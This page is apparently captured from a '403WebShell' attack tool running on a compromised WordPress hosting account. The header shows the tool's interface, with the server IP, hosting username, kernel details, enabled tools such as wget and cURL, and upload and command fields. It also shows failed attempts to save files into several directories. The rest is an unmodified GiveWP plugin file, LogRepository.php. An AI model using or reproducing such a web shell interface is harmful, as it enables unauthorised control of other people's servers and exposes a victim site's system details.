Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.6.9
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Log/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Log/LogRepository.php
<?php

namespace Give\Log;

use DateTime;
use Give\Framework\Database\DB;
use Give\Framework\Exceptions\Primitives\InvalidArgumentException;
use WP_REST_Request;

/**
 * Class LogRepository
 * @package Give\Log\Repositories
 *
 * @since 2.10.0
 */
class LogRepository
{

    const SORTABLE_COLUMNS = ['id', 'category', 'source', 'log_type', 'date'];

    const LOGS_PER_PAGE = 10;

    /**
     * @var string
     */
    private $log_table;

    /**
     * LogRepository constructor.
     */
    public function __construct()
    {
        global $wpdb;
        $this->log_table = "{$wpdb->prefix}give_log";
    }

    /**
     * Insert Log into database
     *
     * @param LogModel $model
     *
     * @return int inserted log id
     */
    public function insertLog(LogModel $model)
    {
        DB::insert(
            $this->log_table,
            [
                'log_type' => $model->getType(),
                'data' => $model->getData($jsonEncode = true),
                'category' => $model->getCategory(),
                'source' => $model->getSource(),
                'date' => $model->getDate(),
            ],
            null
        );

        return DB::last_insert_id();
    }

    /**
     * Update log
     *
     * @param LogModel $model
     *
     * @return false|int
     */
    public function updateLog(LogModel $model)
    {
        return DB::update(
            $this->log_table,
            [
                'log_type' => $model->getType(),
                'data' => $model->getData($jsonEncode = true),
                'category' => $model->getCategory(),
                'source' => $model->getSource(),
                'date' => $model->getDate(),
            ],
            [
                'id' => $model->getId(),
            ]
        );
    }

    /**
     * Get all logs
     *
     * @return LogModel[]
     */
    public function getLogs()
    {
        $logs = [];
        $result = DB::get_results("SELECT * FROM {$this->log_table} ORDER BY id DESC");

        if ($result) {
            foreach ($result as $log) {
                $data = json_decode($log->data, true);

                $logs[] = LogFactory::make(
                    $log->log_type,
                    $data['message'],
                    $log->category,
                    $log->source,
                    $data['context'],
                    $log->id,
                    $log->date
                );
            }
        }

        return $logs;
    }

    /**
     * Get all logs for request
     *
     * @param WP_REST_Request $request
     *
     * @return LogModel[]
     */
    public function getLogsForRequest(WP_REST_Request $request)
    {
        $logs = [];

        $type = $request->get_param('type');
        $category = $request->get_param('category');
        $source = $request->get_param('source');
        $page = $request->get_param('page');
        $sortBy = $request->get_param('sort');
        $startDate = $request->get_param('start');
        $endDate = $request->get_param('end');
        $sortDirection = $request->get_param('direction');

        $offset = ($page - 1) * self::LOGS_PER_PAGE;

        $query = "SELECT * FROM {$this->log_table} WHERE 1=1";

        if ($type) {
            $query .= sprintf(' AND log_type = "%s"', esc_sql($type));
        }

        if ($category) {
            $query .= sprintf(' AND category = "%s"', esc_sql($category));
        }

        if ($source) {
            $query .= sprintf(' AND source = "%s"', esc_sql($source));
        }

        if ($startDate) {
            $startDate = new DateTime($startDate);
            $query .= sprintf(" AND date(date) >= '%s'", $startDate->format('Y-m-d'));
        }

        if ($endDate) {
            $endDate = new DateTime($endDate);
            $query .= sprintf(" AND date(date) <= '%s'", $endDate->format('Y-m-d'));
        }

        if ($sortBy) {
            $column = (in_array($sortBy, self::SORTABLE_COLUMNS, true)) ? $sortBy : 'id';
            $direction = ($sortDirection && strtoupper($sortDirection) === 'ASC') ? 'ASC' : 'DESC';

            $query .= " ORDER BY `{$column}` {$direction}";
        } else {
            $query .= ' ORDER BY id DESC';
        }

        // Limit
        $query .= sprintf(' LIMIT %d', self::LOGS_PER_PAGE);

        // Offset
        if ($offset > 1) {
            $query .= sprintf(' OFFSET %d', $offset);
        }

        $result = DB::get_results($query);

        if ($result) {
            foreach ($result as $log) {
                $data = json_decode($log->data, true);

                $logs[] = LogFactory::make(
                    $log->log_type,
                    $data['message'],
                    $log->category,
                    $log->source,
                    $data['context'],
                    $log->id,
                    $log->date
                );
            }
        }

        return $logs;
    }

    /**
     * Get log by ID
     *
     * @param int $logId
     *
     * @return LogModel|null
     */
    public function getLog($logId)
    {
        $log = DB::get_row(
            DB::prepare("SELECT * FROM {$this->log_table} WHERE id = %d", $logId)
        );

        if ($log) {
            $data = json_decode($log->data, true);

            return LogFactory::make(
                $log->log_type,
                $data['message'],
                $log->category,
                $log->source,
                $data['context'],
                $log->id,
                $log->date
            );
        }

        return null;
    }

    /**
     * Get logs by type
     *
     * @param string $type
     *
     * @return LogModel[]
     */
    public function getLogsByType($type)
    {
        $logs = [];

        $result = DB::get_results(
            DB::prepare("SELECT * FROM {$this->log_table} WHERE log_type = %s", $type)
        );

        if ($result) {
            foreach ($result as $log) {
                $data = json_decode($log->data, true);

                $logs[] = LogFactory::make(
                    $log->log_type,
                    $data['message'],
                    $log->category,
                    $log->source,
                    $data['context'],
                    $log->id,
                    $log->date
                );
            }
        }

        return $logs;
    }

    /**
     * Get logs by category
     *
     * @param string $category
     *
     * @return LogModel[]
     */
    public function getLogsByCategory($category)
    {
        $logs = [];

        $result = DB::get_results(
            DB::prepare("SELECT * FROM {$this->log_table} WHERE category = %s", $category)
        );

        if ($result) {
            foreach ($result as $log) {
                $data = json_decode($log->data, true);

                $logs[] = LogFactory::make(
                    $log->log_type,
                    $data['message'],
                    $log->category,
                    $log->source,
                    $data['context'],
                    $log->id,
                    $log->date
                );
            }
        }

        return $logs;
    }

    /**
     * Get logs categories
     *
     * @return array
     */
    public function getCategories()
    {
        $categories = [];
        $result = DB::get_results("SELECT DISTINCT category FROM {$this->log_table}");

        if ($result) {
            foreach ($result as $category) {
                $categories[] = $category->category;
            }
        }

        return $categories;
    }

    /**
     * Get logs sources
     *
     * @return array
     */
    public function getSources()
    {
        $sources = [];
        $result = DB::get_results("SELECT DISTINCT source FROM {$this->log_table}");

        if ($result) {
            foreach ($result as $source) {
                $sources[] = $source->source;
            }
        }

        return $sources;
    }

    /**
     * Delete all logs
     */
    public function deleteLogs()
    {
        DB::query("DELETE FROM {$this->log_table}");
    }

    /**
     * Delete log by ID
     *
     * @param int $logId
     */
    public function deleteLog($logId)
    {
        DB::query(
            DB::prepare("DELETE FROM {$this->log_table} WHERE id = %d", $logId)
        );
    }

    public function getTotalCount()
    {
        return DB::get_var("SELECT count(id) FROM {$this->log_table}");
    }

    /**
     * Get log count by column name containing value
     *
     * @param string $columnName
     * @param string $value
     *
     * @return string|null
     */
    public function getLogCountBy($columnName, $value)
    {
        if ( ! in_array($columnName, self::SORTABLE_COLUMNS, true)) {
            throw new InvalidArgumentException(
                sprintf('Invalid column %s', $columnName)
            );
        }

        return DB::get_var(
            DB::prepare("SELECT count(id) FROM {$this->log_table} WHERE {$columnName}=%s", $value)
        );
    }

    /**
     * Get log count for request
     *
     * @param WP_REST_Request $request
     *
     * @return int|null
     */
    public function getLogCountForRequest(WP_REST_Request $request)
    {
        $type = $request->get_param('type');
        $category = $request->get_param('category');
        $source = $request->get_param('source');
        $startDate = $request->get_param('start');
        $endDate = $request->get_param('end');

        $query = "SELECT count(id) FROM {$this->log_table} WHERE 1=1";

        if ($type) {
            $query .= sprintf(' AND log_type = "%s"', esc_sql($type));
        }

        if ($category) {
            $query .= sprintf(' AND category = "%s"', esc_sql($category));
        }

        if ($source) {
            $query .= sprintf(' AND source = "%s"', esc_sql($source));
        }

        if ($startDate) {
            $startDate = new DateTime($startDate);
            $query .= sprintf(" AND date(date) >= '%s'", $startDate->format('Y-m-d'));
        }

        if ($endDate) {
            $endDate = new DateTime($endDate);
            $query .= sprintf(" AND date(date) <= '%s'", $endDate->format('Y-m-d'));
        }

        return DB::get_var($query);
    }

    /**
     * Get sortable columns
     *
     * @return string[]
     */
    public function getSortableColumns()
    {
        return self::SORTABLE_COLUMNS;
    }

    /**
     * Get logs per page limit
     *
     * @return int
     */
    public function getLogsPerPageLimit()
    {
        return self::LOGS_PER_PAGE;
    }

    /**
     * Flush logs
     */
    public function flushLogs()
    {
        DB::query("DELETE FROM {$this->log_table}");
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit